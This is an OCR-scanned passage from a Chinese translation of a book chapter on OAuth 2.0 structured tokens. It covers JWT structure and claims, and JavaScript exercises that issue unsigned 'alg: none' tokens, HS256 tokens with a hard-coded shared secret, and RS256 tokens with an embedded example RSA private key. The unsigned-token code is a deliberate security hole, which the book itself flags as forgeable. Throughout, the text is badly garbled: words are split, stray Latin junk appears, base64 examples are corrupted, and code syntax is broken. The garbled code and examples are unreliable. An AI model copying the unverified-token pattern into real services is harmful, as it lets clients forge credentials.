端 收 到 令 牌 之 后 ， 它 会 在 同一 个 数据 库 中 查找 令 牌 值 ， 以 确定 令 牌 有 效 。 这 种 令 牌 不 携带 任何 信 
息 ， 只 是 充当 数据 库 查 询 的 检索 值 。 这 种 创建 和 管理 令 牌 的 方法 非常 有 效 且 常见 ， 而 且 它 的 优势 
是 在 保持 令 牌 本 身 短小 的 同时 满足 较 大 的 信息 粹 。 

在 授权 服务 器 和 受 保护 资源 间 共 享 数据 库 并 不 总 是 实际 可 行 , 特别 是 在 一 个 授权 服务 器 需要 
保护 下 游 的 多 个 资源 服务 器 的 情况 下 。 该 如 何 解 决 这 个 问题 呢 ? 本 章 将 讨论 另外 两 种 常见 的 方 
案 : 结构 化 令 牌 和 令 牌 内 省 。 
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如 果 不 向 共享 数据 库 查 询 , 是 否 可 以 将 所 有 必要 的 信息 放 在 令 牌 内 部 ? 这 种 方式 使 授权 服务 
器 可 以 通过 令 牌 本 身 间接 地 与 受 保护 资源 沟通 ， 而 不 需要 调用 任何 网 络 API。 

通过 这 种 方式 , 授权 服务 器 可 以 将 受 保护 资源 需要 知道 的 信息 全 部 打包 ， 比 如 令 牌 的 过 期 时 
间 戳 以 及 授权 用 户 是 谁 。 这 些 信 息 都 会 被 发 送 给 客户 端 , 但 是 客户 端 并 不 关心 ， 因 为 令 牌 在 所 有 
OAuth 2.0 系统 中 对 客户 端 都 不 透明 。 只 要 客户 端 得 到 令 牌 ， 就 可 以 将 其 当 作 一 个 随机 字符 串 发 
送 给 受 保护 资源 。 受 保护 资源 需要 理解 令 牌 ， 并 解析 令 牌 内 包含 的 信息 ， 然 后 基于 这 些 信息 做 出 
授权 决策 。 
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11.2[1 JWT 的 结构 


为 了 构建 这 样 的 令 牌 , 需要 一 种 方法 来 组 织 并 序列 化 所 要 携带 的 信息 。 JSON Web 令 牌 格式 ， 
或 者 叫 作 JWT,“ 提 供 了 一 种 在 令 牌 中 携带 信息 的 简单 方法 。JWT 的 核心 是 将 一 个 JSON 对 象 封 
装 为 一 种 用 于 网 络 传输 的 格式 。JWT 最 简单 的 形式 是 一 个 未 签名 的 令 牌 ， 如 下 所 示 。 


eyJOeXAiOiJKV1QiLCJhbGciOiJub251In0.eyJzdWIiOilxMjMONTY3ODkwIiwibmFtZSI6IkpvaGAgRG 
9lIiwiYWRtaWA4iOnRydaWV9. 


这 种 令 牌 看 起 来 与 之 前 使 用 的 随机 字符 串 令 牌 很 相似 , 但 事实 并 非 如 此 。 首 先 , 请 注意 其 中 
有 一 个 句点 符号 将 字符 串 分 割 成 了 两 部 分 。 以 句点 符号 将 令 牌 字符 串 分 解 , 让 我 们 可 以 对 令 牌 的 
不 同 部 分 分 别 进 行 处 理 ( 示例 中 最 后 一 个 句点 符号 后 面 还 有 隐 含 的 第 三 部 分 , 但 要 在 11.3 节 才 对 
它 进 行 讨论 )。 



































eyJOeXAiOiJKV10OiLCJhbGciOiJub251In0 


eyJzdWIiOilxMjMONTY3ODkwliwibmFtZSI6IkpvaGA4gRG91IiwiYWRtaW4iOnRydWV9 








句点 符号 之 间 的 值 并 不 是 随机 的 ， 而 是 一 个 经 过 Base64URL 编码 的 JSON MER, ^ 如果 对 第 
一 部 分 进行 Base64 解码 并 解析 出 JSON 对 象 ， 会 得 到 一 个 简单 的 对 象 。 
{ 
"typ": "JWT", 


taigi : "none" 


} 


为 什么 选择 Base64? 

为 什么 要 自 讨 麻烦 进行 Base64 编码 呢 ? 毕竟 ， 它 不 适合 人 类 阅读 ， 需 要 进行 额外 的 处 理 
才能 解读 。 直 接 使 用 JSON 不 是 更 好 吗 ? 看 一 下 JWT 通常 会 出 现在 什么 环境 中 就 能 得 出 部 分 
案 ， 它 一 般 会 出 现在 HTTP XR. Query 参数 、 表 单 参数 、 各 种 数据 库 的 字符 串 以 及 编程 语 
言 中 。 车 无须 进 行 额外 的 编码 处 理 ， 这 些 环境 中 可 用 的 字符 集 都 有 所 限制 。 例 如 ， 要 想 通 过 
HTTP 表单 参数 发 送 JSON 对 象 ， 需 要 将 大 括号 “{” 和 “}” 分 别 编 码 成 $7B 和 %7D。 引 号 、 
冒号 以 及 一 些 其 他 常用 符号 需要 被 编码 成 它们 各 自 的 实体 代码 。 黄 至 在 某 些 环境 下 ,， 连 空格 字 
符 这 样 常用 的 字符 也 需要 被 编码 成 $20 或 者 +。 另 外 ， 在 很 多 情况 下 ， 用 于 编码 的 8 字符 本 身 

也 需要 被 编码 ， 会 经 常 出 现 意外 双重 编码 的 情况 。 
采用 Base64URL 编码 方案 是 顺理成章 的 , 它 可 以 让 JWT 安全 地 出 现在 任何 环节 而 无 须 额 外 
的 编码 处 理 。 此 外 ,， 由 于 JSON 对 象 是 以 编码 之 后 的 字符 串 形 式 呈 现 的 ， 因 此 处 理 中 间 件 不 太 可 
能 对 它 进行 处 理 或 者 重新 序列 化 ， 在 下 一 节 将 看 到 这 一 点 的 重要 性 。 这 种 在 传输 过 程 中 保持 不 
变 的 特性 很 有 利于 部 署 和 开发 ,很 多 其 他 的 安全 令 牌 格式 并 没有 这 种 特性 , 这 是 JWT 的 立足 点 。 


| 家 





(D 一般 读 作 “jot 。 
具体 地 说 ， 它 是 一 个 Base64 编码 ， 包 含 URL 安全 的 字母 且 没 有 填充 字符 。 
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这 是 JWT 的 头 部 , 它 是 一 个 JSON 对 象 , MTRS SERR RNA ORIS. HUP typ 
头 告诉 处 理 程 序 令 牌 的 第 二 部 分 (载荷 ) 是 何 种 类 型 。 在 我 们 的 示例 中 ， 它 是 一 个 JWT。 虽 然 
还 有 其 他 的 数据 容器 可 以 使 用 与 此 相同 的 结构 ， 但 是 无 疑 JWT 是 最 常用 的 ， 并 且 也 最 适合 作为 
OAuth 令 牌 使 用 。 还 有 一 个 alg 头 ， 它 的 值 是 none， 表 示 这 是 一 个 未 签名 的 令 牌 。 

第 二 部 分 是 令 牌 的 载荷 ， 它 的 序列 化 方式 与 JWT 头 部 相同 : 对 JSON 对 象 进 行 Base64URL 
编码 。 由 于 它 是 JWT， 因 此 其 载荷 可 以 是 任意 的 JSON 对 象 ,在 前 面 的 示例 中 , 它 是 一 组 简单 的 
用 户 数据 。 

i "Sub": "1234567890", 


"name": "John Doe", 
"admin": true 

































































11.2.2 JWT 声明 








除了 一 般 的 数据 结构 之 外 ，JWT 还 提供 了 一 组 声明 ， 可 以 在 不 同 的 应 用 中 通用 。 虽 然 JWT 
内 可 以 包含 任何 合法 的 JSON 数据 ， 但 这 些 声明 文 持 应 用 的 常规 操作 。 所 有 这 些 字段 在 JWT 中 
都 是 可 选 的 ， 但 允许 特定 服务 定义 自己 的 内 部 标准 〈 如 表 11-1 所 示 )。 


表 11-1 标准 JSON Web 令 牌 声明 




























































































































































































声明 名 称 声明 描述 
iss 令 牌 颁发 者 。 它 表示 该 令 牌 是 由 谁 创建 的 ， 在 很 多 OAuth 部 署 中 会 将 它 设 为 授权 服务 器 的 URL。 该 声 
明 是 一 个 字符 串 
sub 令 牌 的 主体 。 它 表示 该 令 牌 是 关于 谁 的 ， 在 很 多 OAuth 部 署 中 会 将 它 设 为 资源 拥有 者 的 唯一 标识 。 在 
大 多 数 情况 下 ， 主 体 在 同一 个 颁发 者 的 范围 内 必须 是 唯一 的 。 该 声明 是 一 个 字符 串 
aud 令 牌 的 受众 。 它 表示 令 牌 的 接收 者 ， 在 很 多 OAuth 部 署 中 ， 它 包含 受 保护 资源 的 URI 或 者 能 够 接收 该 
令 牌 的 受 保护 资源 。 该 声明 可 以 是 一 个 字符 串 数 组 ， 如果 只 有 一 个 值 , 也 可 以 是 一 个 不 用 数组 包装 的 单 
个 字符 串 
exp 令 牌 的 过 期 时 间 戳 。 它 表示 令 牌 将 在 何 时 过 期 ,以 便 部 署 应 用 让 令 牌 自行 失效 。 该 声明 是 一 个 整数 , K 
IRÁ UNIX 新 纪元 ( 即 格林 威 治 标准 时 间 GMT，1970 年 1 月 1 日 零点 ) 以 来 的 秒 数 
nbf 令 牌 生效 时 的 时 间 截 。 它 表示 令 牌 从 什么 时 候 开 始 生 效 ， 以 便 部 署 应 用 可 以 在 令 牌 生效 之 前 颁发 令 牌 。 
该 声明 是 一 个 整数 ， 表 示 自 UNIX 新 纪元 〈 即 格林 威 治标 准时 间 GMT，1970 年 1 月 1 日 零点 ) 以 来 的 
秒 数 
iat 牌 颁发 时 的 时 间 戳 。 它 表示 令 牌 是 何 时 被 创建 的 , 它 通常 是 颁发 者 在 生成 令 牌 时 的 系统 时 间 戳 。 该 声 

















AHi 
<. 
明 是 一 个 整数 ， 表示 自 UNIX 新 纪元 ( 即 格林 尼 治 时 间 GMT, 19704E 1 H 1 H28:8 ) 以 来 的 秒 数 
jti 令 牌 的 唯一 标识 符 。 该 声明 的 值 在 令 牌 颁发 者 创建 的 每 一 个 令 牌 中 都 是 唯一 的 , 为 了 防止 冲突 , 它 通 常 
是 一 个 密码 学 随机 值 。 这 个 值 相当 于 向 结构 化 令 牌 中 加 入 了 一 个 攻击 者 无 法 获得 的 随机 箭 组 件 , 有 利于 
防止 令 牌 猜测 攻击 和 重 放 攻 击 
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仍然 可 以 为 特定 的 应 用 新 增 其 他 所 需 的 字段 。 在 前 面 的 示例 中 ,我 们 就 在 载荷 中 添加 了 name 
和 admin 字段 ， 一 个 用 于 显示 用 户 名 称 ， 另 一 个 是 布尔 类 型 的 字段 ， 表 示 该 用 户 是 否 为 管理 员 。 
这 些 字段 的 值 可 以 是 任何 有 效 的 JSON 值 ， 包 括 字 符 串 、 数 字 、 数 组 ， 甚 至 还 可 以 是 其 他 对 象 。 

这 些 字段 的 字段 名 可 以 是 任何 有 效 的 JSON 字符 串 ， 这 对 于 其 他 JSON 对 象 也 是 一 样 ， 但 尽 
管 如 此 ， 为 避免 不 同 的 实现 之 间 不 兼容 ，JWT 规范 "在 这 一 点 上 给 出 了 一 些 指导 意见 。 如 果 打 算 
跨 安 全 域 使 用 JWT, 不 同 的 安全 域 可 以 定义 不 同 的 声明 ， 语 意 可 能 也 不 同 ， 那 么 在 这 种 情况 下 
这 些 指 导 意 见 将 会 特别 有 用 。 




























































































11.2.3 ”在 服务 器 上 实现 JWT 


现在 来 为 授权 服务 器 添加 JWT 支持 。 请 打开 ch-11-ex-1 目录 ,编辑 authorizationServer.js 文 
TF. 第 5 章 所 构建 的 服务 器 颁发 的 令 牌 是 随机 和 非 结 构 化 的 。 现 在 要 修改 服务 器 代码 ， 让 它 颁 发 
不 带 签 名 的 JWT 格式 的 令 牌 。 尽 管 我 们 建议 在 实践 中 使 用 JWT 库 , 但 为 了 让 你 对 这 些 令 牌 是 如 
何 构成 的 有 直观 感受 ， 这 里 会 手动 生成 JWT。 在 下 一 节 ， 你 会 有 更 多 机 会 与 JWT 库 打交道 。 

首先 ， 请 找到 生成 令 牌 的 代码 。 我 们 的 代码 改动 都 在 此 处 ， 请 先 注释 掉 ( 或 删 掉 ) 以 下 代 
码 行 。 



































var access token = randomstring.generate(); 


要 创建 JWT， 首 先 需 要 一 个 头 部 。 和 前 面 的 示例 令 牌 一 样 ， 我 们 会 指明 该 令 牌 是 JWT BA 
带 签名 。 由 于 服务 右 发 出 的 令 牌 都 具有 相同 的 特征 ， 因 此 在 此 处 使 用 一 个 静态 对 象 。 


var header = ( 'typ': 'JWT', 'alg': 'none' ); 


接 下 来 ， 需 要 创建 一 个 对 象 来 承载 JWT R, JPHRdES TOS B IR RRE XE E BE S 
我 们 会 将 每 个 令 牌 的 颁发 者 都 设置 为 授权 服务 器 的 URL， 如 果 存 在 来 自 授 权 页 面 的 用 户 变 量 ， 
会 将 它 用 于 设置 令 牌 主体 。 我 们 还 会 将 令 牌 接收 者 设置 为 受 保护 资源 的 URL。 将 令 牌 的 时 间 惟 
标记 为 令 牌 的 颁发 时 间 ， 并 将 过 期 时 间 戳 设置 为 5 分 钟 以 后 。 请 注意 JavaScript 处 理 时 间 戳 时 使 
用 的 单位 为 毫秒 ,而 JWT 规范 要 求 的 时 间 单 位 是 秒 , 因 此 ,在 进行 转换 时 需要 将 原始 值 除 以 1000。 
最 后 , 要 为 令 牌 添加 一 个 随机 的 标识 符 , 使 用 的 方法 与 之 前 生成 整个 令 牌 的 方法 相同 。 最终， 生 
成 令 牌 载荷 的 代码 如 下 所 示 。 

var payload = { 

iss: "http://localhost:90017*, 

Sub: code.user ? code.user.sub : undefined, 
aud: 'http://localhost:9002/', 

iat: Math.floor(Date.now() / 1000), 


exp: Math.floor(Date.now() / 1000) + (5 * 60), 
jti: randomstring.generate(8) 



































(D RFC 7519: https://tools.ietf.org/html/rfc7519., 
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( 





"iss": "http://localhost:9001/", 
"Sub": "alice", 
"aud": "http://1localhost:/9002/", 
"iat": 1440538696, 
"exp": 1440538996, 
"jti": "S166JgdkQ" 

} 


然后 可 以 将 头 部 和 载荷 的 JSON 序列 化 为 字符 串 ， 并 对 它们 进行 Base64URL 编码 ， 然 后 以 
句点 符号 作为 连接 符 将 它们 连接 起 来 。 不 需要 对 这 些 JSON 对 象 进行 任何 特殊 处 理 ， 直 接 序 列 化 
即 可 ， 对 字段 的 格式 和 顺序 无 特殊 要 求 ， 用 任何 标准 的 JSON 序列 化 函数 都 能 做 到 。 

var access token = base64url.encode(JSON.stringify (header)) 


+ base64url.encode(JSON.stringify (payload)) 
quidquid 


MÆ, access token 值 就 像 一 个 未 签名 的 JWT。 


eyJOeXAiOiJKV1OiLCJhbGciOiJub251In0.eyJpc3MiOiJoGHRwOi8vbG9j YWxob3N0Oj kwMDEvI 
iwic3ViljoiOVhFMylKSTMOLTAwMTMyOQOSIsImF1ZCI6ImhOdHA6Ly9sb2NhbGhvc3Q6OTAwMi 
8iLCJpYXOiOjEONjcyNDk3NzOsImVA4cCI6MTO2NzI1MDA3NCwianRpIlIjoiMFgyd210anUifQ. 


请 注意 , 令 牌 现在 有 了 过 期 时 间 , 但 是 客户 端 无 须 针 对 此 项 变化 进行 任何 特殊 处 理 。 客 户 端 
可 以 一 直 使 用 令 牌 , 直到 它 过 期 , 然后 像 往常 一 样 请 求 新 的 令 牌 。 授 权 服 务 器 可 以 在 令 牌 响应 中 
使 用 expires in 字段 给 出 过 期 提示 ， 但 是 客户 端 同样 可 以 不 处 理 该 信息 ， 而 且 大 多 数 客户 端 
就 是 这 样 做 的 。 

ME, 还 要 修改 资源 服务 器 , 让 它 从 传人 的 令 牌 中 获取 信息 , 而 不 是 在 数据 库 中 查询 令 牌 值 。 

请 打开 protectedResourcejs 文件 并 找到 处 理 传令 牌 的 代码 。 首 先 , 要 执行 授权 服务 器 的 令 牌 创 DN 
建 流程 的 道 操 作 来 解析 令 牌 : 按照 句点 符号 将 字符 串 分 开 , 得 到 不 同 的 部 分 。 然 后 将 第 二 部 分 ( 载 

fuf ) 从 Base64URL 解码 ， 解 析出 一 个 JSON 对 象 。 


var tokenParts = inToken.split('.'); 
var payload - JSON.parse(base64url.decode(tokenParts[1])); 


这 样 一 来 就 得 到 了 一 个 能 在 应 用 内 进行 检查 的 原生 数据 结构 。 我 们 要 确保 满足 这 些 条 件 : 该 
令 牌 来 自 预期 的 颁发 者 ; 它 的 时 间 戳 在 合适 的 范围 内 ; 资源 服务 器 是 预期 的 令 牌 接 收 者 。 虽 然 这 
些 检查 一 般 都 是 串 连 起 来 的 布尔 逻辑 ， 但 我 们 将 它们 分 成 了 单独 的 if 语句 ， 以 便 更 加 清晰 、 独 
立地 展示 每 一 项 检查 。 

















































































































if (payload.iss == 'http://localhost:9001/') ( 
if ((Array.isArray(payload.aud) && _ .contains(payload.aud, 'http:// 
localhost:9002/"')) || 
payload.aud -- 'http://localhost:9002/') ( 


var now - Math.floor(Date.now() / 1000); 
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if (payload.iat «- now) ( 
if (payload.exp »- now) ( 
req.access token - payload; 


} 


} 

} 

如 果 所 有 的 检查 都 通过 ， 应 用 就 可 以 继续 处理 从 令 牌 中 解析 出 的 payloada， 比 如 根据 主体 
等 字段 做 出 授权 决策 。 这 一 过 程 类 似 于 在 前 一 个 版 本 的 应 用 中 从 授权 服务 器 的 数据 库 获取 其 存 和 人 
的 数据 。 

WWE, JWT 的 载荷 是 一 个 JSON 对 象 , 受 保护 资源 可 以 直接 通过 请 求 对 象 访问 它 。 从 现在 
起 , 就 由 其 他 的 处 理 函 数 来 决定 这 一 特定 令 牌 是 否 满 足 当 前 请 求 , 这 与 我 们 将 令 牌 存储 在 共享 数 
据 库 时 的 做 法 是 一 样 的 。 虽然 示例 中 的 令 牌 没有 包含 太 多 信息 , 但 我 们 能 够 很 轻易 地 加 入 与 客户 
端 、 资 源 拥 有 者 、 权 限 范围 有 关 的 信息 ， 以 及 其 他 与 受 保护 资源 的 决策 有 关 的 信息 。 
即使 颁发 的 令 牌 与 之 前 的 有 所 不 jd. 也 并 不 需要 修改 客户 端 代码 。 这 完全 是 因为 令 牌 对 客户 
端 是 不 透明 的 ， 这 正 是 OAuth 2.0 的 一 大 关键 的 简化 因素 。 实 际 上 ， 授 权 服 务 器 可 以 采用 多 种 不 
同 的 令 牌 格式 ， 而 并 不 需要 对 客户 端 进 行 任何 更 改 。 

现在 我 们 可 以 在 令 牌 中 携带 信息 了 ， 非 常 好 ,但 这 就 足够 了 吗 ? 


11.3. 令 牌 的 加 密 保护 : JOSE 


现在 该 坦白 了 , 我 们 刚刚 让 你 做 了 一 件 非常 不 安全 的 事情 。 你 可 能 已 经 意识 到 了 这 一 重要 玻 
W, 没准 儿 想 问 我 们 是 不 是 疯 了 。 我 们 究竟 遗漏 了 什么 呢 ? 简单 来 说 ， 如 果 授 权 服务 器 发 出 的 令 
牌 是 不 经 过 任何 保护 的 , 并 且 受 保护 资源 不 进行 任何 其 他 检查 就 相信 令 牌 中 的 内 容 , 那么 对 于 以 
明文 形式 接收 令 牌 的 客户 端 来 说 , 很 容易 就 能 在 向 受 保 护 资源 出 示 令 牌 之 前 自 改 令 牌 内 容 。 客 户 
端 甚至 可 以 在 不 与 授权 服务 器 通信 的 情况 下 就 自行 伪造 一 个 令 牌 出 来 , 而 资源 服务 器 还 是 会 天 真 
地 接受 并 处 理 。 

我 们 当然 不 希望 发 生 这 种 事情 ,因此 应 该 对 令 牌 加 以 保护 。 所 幸 ,， 恰好 有 一 套 规范 可 以 解决 
这 个 问题 : JSON 对 象 的 签名 和 加 密 标准 ( JOSE2 )。 这 套 规范 以 JSON 为 基础 数据 模型 ， 提 供 了 
签名 (JSON Web 签名 , IREK JWS ) 加密 (JSON Web 加 密 , 或 称 JWE ) 以 及 密 钥 存 储 格 式 (JSON 
Web 密 钥 ， 或 称 JWK ) 的 标准 。 上 一 节 手 动 创建 的 未 签名 的 JWT， 只 不 过 是 一 个 带 有 JSON $ 
荷 的 未 签名 JWS 对 象 的 特例 。 虽 然 将 JOSE 的 细节 展开 来 讲 可 以 单独 写 一 本 书 , 但 我 们 着 眼 于 它 
的 两 项 内 容 : 使 用 HMAC 签名 方案 的 对 称 签名 和 验证 ， 以 及 使 用 RSA 签名 方案 的 非 对 称 签名 和 
验证 。 我 们 还 会 使 用 JWK 来 存储 RSA 公 钥 和 私 钥 。 

为 了 完成 繁重 的 加 密 任务 , 我 们 会 使 用 一 个 叫 作 JSRSASign 的 JOSE 库 。 这 个 库 提供 了 基本 
的 签名 和 密 钥 管理 功能 ， 但 是 不 提供 加 密 功能 。 加 密令 有 牌 将 作为 一 个 练习 留 e. 

























































































































































































(OD 发 音 与 西班牙 人 名 Jos6 类 似 ， 或 者 读 作 “ho-zay”。 
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11.3.1 使 用 HS256 的 对 称 签名 


在 接 下 来 的 练习 中 , 我 们 会 在 授权 服务 器 上 使 用 一 个 共享 密 钥 对 令 牌 签名 , 然后 在 受 保护 资 
源 上 使 用 该 共享 密 钥 来 验证 令 牌 签名 。 如 果 授 权 服 务 器 与 受 保护 资源 的 联系 足够 紧密 ,， 能够 共享 
一 个 长 期 的 密 钥 ,与 API 密 钥 相似 , 但 是 不 需要 直接 相互 连接 就 能 验证 每 一 个 令 牌 , 这 种 方法 很 
有 用 。 

请 打开 ch-11-ex-2 目录 ,编辑 authorizationServer.js 和 protectedResource.js 文件 。 首 先 ， 要 在 
授权 服务 器 上 添加 一 个 共享 密 钥 。 在 文件 的 顶部 ， 找 到 sharedTokensecret 的 变量 定义 ， 会 
看 到 我 们 已 经 设置 了 一 个 密 钥 字 符 串 。 在 生产 环境 中 , 一 般 会 使 用 某 种 凭据 管理 方法 来 管理 该 密 
钥 ， 而 且 它 的 值 也 不 会 这 么 短 或 者 这 么 简单 ， 但 是 在 练习 中 我 们 将 它 简化 了 。 


























var sharedTokenSecret = 'shared OAuth token secret!'; 


现在 , 要 使 用 这 个 密 钥 对 令 牌 签名 。 代码 与 上 一 个 练习 相似 ， 先 创建 一 个 未 签名 的 令 牌 ， 
此 可 以 从 生成 令 牌 的 代码 处 继续 。 需 要 先 修改 一 下 头 部 参数 ， 指 定 签名 方法 为 HS256。 


var header = ( 'typ': 'JWT', 'alg': 'HS256'); 


JOSE 库 要 求 在 向 签名 函数 传人 数据 前 先进 行 JSON 序列 化 (但 不 进行 Base64URL 编码 )， 
而 我 们 已 经 设置 好 了 。 这 一 次 ,不 使 用 句点 符号 去 连接 字符 串 ， 而 是 使 用 JOSE 库 和 共享 密 钥 对 令 
牌 执行 HMAC 签名 算法 。 由 于 JOSE 库 的 特殊 要 求 ， 需 要 传人 十 六 进 制 字符 串 形 式 的 共享 密 钥 。 
其 他 的 库 会 对 密 钥 格式 有 不 同 的 要 求 。 该 库 函 数 的 输出 是 一 个 字符 串 ， 我 们 会 将 它 作 为 令 牌 值 。 





















































var access token = jose.jws.JWS.sign(header.alg, 
JSON.stringify (header), 
JSON.stringify (payload), 
new Buffer(sharedTokenSecret).toString('hex')); 


最 终 的 JWT 看 起 来 是 这 样 的 。 om 
eyJOeXAiOiJKV1OQiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJodHRwOi8vbG9j YWxob3N00jkwMDEv 


Iiwic3ViIljoiOVhFMy1KSTMOLTAwMTMyOQSISsImF1ZCI6ImhOdHA6Ly9sb2NhbGhvc3Q60TAwMiS8 
iLCJpYXOiOjEONjcyNTEwNzMsImVACCIOMTO2NZzI1MTM3MywianRpIjoiaEZLUUpSNmUifQ.Wq 
RsY03pYwuJTx-9pDOQXftkcj7YbRn950o-16NHrVugg 


头 部 和 载荷 还 是 和 之 前 一 样 ， 是 经 过 Base64URL 编码 的 JSON 字符 串 。 签 名 被 放 在 JWT f& 
式 的 最 后 一 个 句点 符号 后 面 ， 是 经 过 Base64URL 编码 的 一 组 字 节 ， 签 名 JWT 的 整体 结构 为 
headqer.payload.signature。 按 照 句 点 符号 进行 分 隔 之 后 会 使 结构 更 清晰 。 


eyJOeXAiOiJKV1OiLCJhbGciOiJIUzIlNiJ9 









































eyJpc3MiOiJodHRwOi8vbG9jYWxob3N00jkwMDEvIiwic3ViljoiOVhFMylKSTMOLTAwMTMyOQSIs 
ImF1ZCI6ImhOdHA6Ly9sb2NhbGhvc3Q6OTAwMi8iLCJpYXQiOjEONjcyNTEwNzMsImVA4cCIOMT 
Q2NzII1MTM3MywianRpIjoiaEZLUUpSNmUifQ 


WqRsY03pYwuJTx-9pDOXftkcj7YbRn95o-16NHrVugg 
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可 以 将 未 签名 的 JWT 看 作 签名 部 分 为 空 (缺失 ) 的 一 种 JWT 特例 。 服 务 器 的 其 他 部 分 保持 
不 变 ， 因 为 令 牌 还 是 存储 在 数据 库 中 。 然 而 ,也 可 以 将 授权 服务 器 上 的 存储 功能 完全 移 除 ， 因 为 
服务 器 可 以 通过 签名 来 识别 令 牌 。 

还 是 一 样 ， 客 户 端 仍然 不 知道 令 牌 格式 的 变化 。 但 是 ,我们 需要 去 修改 受 保护 资源 ,让 它 能 
人 够 验证 令 牌 的 签名 。 请 打开 protectedResource.js 文件 , 并 在 文件 顶部 添加 相同 的 随机 密 钥 字符 串 。 
再 次 说 明 , 在 生产 环境 中 , 一 般 会 使 用 某 种 凭据 管理 方法 来 管理 该 密 钥 ， 而 且 它 的 值 也 不 会 这 么 
简单 。 


var sharedTokenSecret = 'shared OAuth token secret!'; 


首先 ， 要 解析 令 牌 ， 这 与 之 前 的 操作 很 相似 。 





















































var tokenParts = inToken.split('.'); 
var header = JSON.parse(base64url.decode(tokenParts[0])); 
var payload = JSON.parse(base64url.decode(tokenParts[1])); 


请 注意 ,这 一 次 要 用 到 令 牌 头 部 。 接 下 来 ， 要 根据 共享 密 钥 来 验证 签名 ， 这 是 我 们 对 令 牌 内 
容 的 首次 检查 。 请 记 住 ， 我 们 使 用 的 库 要 求 在 验证 前 将 密 钥 转 换 成 十 六 进 制 字符 串 格 式 。 























if (jose.jws.JWS.verify (inToken, (批注 ) 之 前 的 所 有 令 
new Buffer(sharedTokenSecret).toString('hex'), 牌 有 效 性 检查 都 要 放 
[header.alg])) ( 入 该 if 语句 内 部 


} 


需要 特别 注意 的 是 , 我 们 是 将 接收 到 的 令 牌 字符 串 按 原样 传人 的 。 没 有 使 用 解码 或 者 解析 之 
后 的 JSON 对 象 ， 也 没有 使 用 我 们 自己 重新 编码 的 字符 串 。 如 果 这 样 做 的 话 ，JSON 的 序列 化 结 
果 完 全 有 可 能 ( 而且 完 全 是 正当 的 ) 出 现 细微 变化 ， 比 如 添加 或 移 除 空格 和 缩 进 ， 对 数据 对 象 的 
字段 重新 排序 都 会 导致 这 样 的 结果 。 我 们 已 经 讨论 过 ，JOSE 规范 能 够 有 效 地 防止 令 牌 在 传输 过 
程 中 发 生变 化 ， 无 须 将 令 牌 重新 格式 化 就 能 执行 验证 步骤 。 

只 有 签名 有 效 才能 继续 解析 JWT 并 检查 其 内 容 的 一 致 性 。 如 果 所 有 检查 都 通过 ， 就 可 以 将 
它 交 给 应 用 使 用 ,与 之 前 的 做 法 一 样 。 现 在 ,资源 服务 器 只 会 接受 签名 的 令 牌 ， 并 且 签 名 所 使 用 
的 必须 是 与 授权 服务 需 共 享 的 密 钥 。 要 验证 这 一 点 , 可 以 修改 授权 服务 器 或 者 受 保护 资源 中 任意 
一 个 的 密 钥 ， 让 它们 不 同 。 资 源 服务 器 应 该 会 拒绝 授权 服务 器 生成 的 令 牌 。 


11.3.2 ”使 用 RS256 的 非 对 称 签 名 


本 节 的 练习 将 同上 一 节 一 样 ， 使 用 密 钥 对 令 牌 签名 。 不 过 ， 这 一 次 使 用 的 是 公 钥 加 密 技 术 。 
使 用 共享 密 钥 时 , 创建 签名 和 验证 签名 的 系统 使 用 的 是 同一 个 密 钥 。 这 实际 上 意味 着 上 一 个 练习 
中 的 授权 服务 器 和 资源 服务 器 都 能 够 生成 令 牌 ， 因 为 它们 都 拥有 创建 令 牌 所 需 的 密 钥 。 使 用 公 铀 
加 蜜 的话， 授权 服务 器 拥有 公 钥 和 私 钥 ,， 可 用 于 生成 令 牌 ， 而 受 保护 资源 则 只 能 访问 授权 服务 器 
的 公 钥 ， 用 于 验证 令 牌 。 与 使 用 共享 密 钥 不 同 的 是 ， 受 保护 资源 虽然 能 够 很 容易 地 验证 令 牌 , 但 
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它 无 法 自己 生成 有 效 的 令 牌 。 我们 要 使 用 的 是 JOSE 库 中 的 RS256 签名 方法 , 它 在 底层 使 用 RSA 
算法 。 

请 打开 ch-11-ex-3 目录 ,并 编辑 authorizationServerjs 文件 。 首先, 需要 在 授权 服务 器 上 添加 
一 对 公 钥 和 私 钥 。 我 们 的 密 钥 对 是 2048 位 的 RSA 密 钥 ,这 是 推荐 的 最 小 长 度 。 本 练习 使 用 基于 
JSON 的 JWK 来 存储 密 钥 ， 可 以 通过 JOSE 库 直 接 读 取 。 为 避免 让 你 输入 这 样 一 串 复杂 的 字符 ， 
我 们 已 经 预先 将 它们 包含 在 代码 中 了 ， 去 查看 即 可 。 





























var rsaKey = ( 


"alg": "RS256", 
"d": "ZXFizvaQORzWRbMExStaS -yVnjtSQ9YslYOFlkkuIloTwFuiEQ20ywBfuyXhTvVOXxIiJq 


PNnUyZR6kXAhyj  wS Px1EH8zv7BHVt1N5TjJGlubtidhAFCZQmgzO0D-PfmATdf6KLLA4HIij 
GrE8iYOPYIPF FL8ddaxx5rsziRRnkRMX fIHxuSQVCe401hSS3QBZOgwVdWEDblJuODT7KUk7 
xPpMTw5RYCeUoCYTRO KO8 NOMURi3GLvbgQGOgk7fmDcug3MwutmWbpe58GoSCkmExUSO0U- 
KEkHtFiC8L6fN2jXhlwhPeRCa9eoIK8nsIYO5gnLKxXTn5-aPQzSy6Q", 


"e": "AQAB", 
"n": "p8eP5gLlH H9UNzCuQS-vNRVz3NWxZTHYk1tG9VpkfFjWNKG3MFTNZJ115g COMm2 2i. 


YhONH8MJ. nQ4exKMXrWJBAtyVZohovUxfw-eLgulXQ80oYcVYW8ym6Um-BkqwwWL6CX270X81Y 
yIMrnsGTyTV6M8gBPun8g2L8KDbDbXR11DfOOWiZ2sslCRLrmNM-GRp3Gj-ECG7, 3Nx9n s5to 
2ZtwJ1GSl1maGjrSZ9GRAYLrHhndrL 8ie 9DS2T-ML7QNQtNkg2RvLv4f0dpjRYI23djxVtAy 
lYK40iT uEMgSkc4dxwKwGuBxSO0g9JOobgfy0--FUHHYtRiOdOFZw", 

"kty": "RSA", 
"kid": "authserver" 

Js 

这 个 密 钥 对 是 随机 生成 的 , 在 生产 环境 中 , 每 一 个 服务 的 密 钥 应 该 都 是 唯一 的 。 作 为 附加 练 

习 ， 请 使 用 JOSE 库 生 成 你 自己 的 JWK， 并 将 代码 中 的 替换 卸 。 

接 下 来 需要 使 用 私 钥 对 令 牌 签名 。 签 名 流程 与 使 用 共享 密 钥 时 的 流程 类 似 , 我 们 要 再 一 次 修 
BUS AE BRA. reus ERUIT RARE HIE RS256 算法 ， 还 要 指明 使 用 的 密 钥 来 自 授权 
